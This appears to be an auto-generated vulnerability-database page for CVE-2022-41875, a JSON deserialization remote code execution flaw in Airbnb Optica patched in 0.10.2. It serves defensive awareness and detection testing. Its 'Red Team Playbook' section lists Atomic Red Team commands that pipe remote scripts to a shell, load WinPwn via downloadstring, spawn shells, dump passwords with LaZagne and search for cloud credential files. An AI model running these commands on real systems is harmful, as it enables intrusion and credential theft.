CVE-2022-41875
Overview
This vulnerability is a deserialization flaw (CWE-502) in the JSON parsing component of Airbnb Optica. The root cause lies in the use of an unsafe deserialization function, `oj.load`, which processes untrusted JSON payloads without validation. This affects the JSON parsing mechanism within Optica, enabling arbitrary code execution through crafted input.
Vulnerability Description
A remote code execution (RCE) vulnerability in Optica allows unauthenticated attackers to execute arbitrary code via specially crafted JSON payloads. Specially crafted JSON payloads may lead to RCE (remote code execution) on the attacked system running Optica. The vulnerability was patched in v. 0.10.2, where the call to the function `oj.load` was changed to `oj.safe_load`.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on the system running Optica, potentially gaining full control over the affected host. No user interaction or privileges are required, and the attack can be launched remotely over the network (CVSS vector AV:N/AC:L/PR:N/UI:N). This can lead to data compromise, service disruption, or lateral movement within the environment.
Solution
Upgrade Airbnb Optica to version 0.10.2 or later, where the unsafe `oj.load` function is replaced with `oj.safe_load` to mitigate the deserialization risk. Detailed patch information and remediation steps are available in the GitHub security advisory GHSA-cf87-4h6x-phh6 (https://github.com/airbnb/optica/security/advisories/GHSA-cf87-4h6x-phh6). No additional workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Optica is characterized by a remote code execution (RCE) flaw that allows unauthenticated attackers to execute arbitrary code on systems running the affected software. This vulnerability arises from improper handling of JSON payloads, specifically through the use of the `oj.load` function, which can process untrusted data without adequate validation. When an attacker crafts a malicious JSON payload and sends it to the vulnerable system, they can manipulate the execution flow, leading to the execution of arbitrary code. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that necessitates immediate attention.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage network access to send specially crafted JSON payloads to an exposed endpoint of the Optica application. This could be done via a web interface or API that processes JSON data. Once the payload is received, the vulnerable function executes the code contained within it, allowing the attacker to gain control over the system. Scenarios may include deploying malware, exfiltrating sensitive data, or pivoting to other systems within the network. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations relying on Optica.
The real-world impact of this vulnerability can be profound, especially for businesses that utilize Optica for critical operations. Successful exploitation can lead to unauthorized access to sensitive information, disruption of services, and significant financial losses. Organizations may face reputational damage, regulatory penalties, and the costs associated with incident response and recovery efforts. Furthermore, the potential for data breaches can lead to long-term consequences, including loss of customer trust and legal liabilities. Given the increasing sophistication of cyber threats, the risk associated with this vulnerability should not be underestimated.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is essential to ensure that all instances of Optica are updated to the latest version, where the vulnerable function has been replaced with a safer alternative. Regular patch management practices should be established to minimize exposure to known vulnerabilities. Additionally, organizations should conduct thorough security assessments and penetration testing to identify potential weaknesses in their systems. Monitoring network traffic for unusual patterns, particularly in JSON payloads, can also help detect attempts to exploit this vulnerability. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application.
In conclusion, the remote code execution vulnerability in Optica poses a significant threat to organizations that utilize this software. The ability for unauthenticated attackers to execute arbitrary code through specially crafted JSON payloads highlights the need for robust security practices. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against such vulnerabilities. Proactive detection and mitigation strategies are essential to safeguard sensitive data and maintain operational integrity in an increasingly hostile cyber landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Airbnb | Optica | All |
cpe:2.3:a:airbnb:optica:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-586 | Object Injection |
48%
|
Medium | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-41875 |
| github.com |
GitHub CVE
|
https://github.com/airbnb/optica/security/advisories/GHSA-cf87-4h6x-phh6 |
| github.com |
GitHub CVE
|
https://github.com/ohler55/oj/blob/develop/pages/Security.md |
| rubydoc.info |
GitHub CVE
|
https://www.rubydoc.info/gems/oj/3.0.2/Oj.safe_load |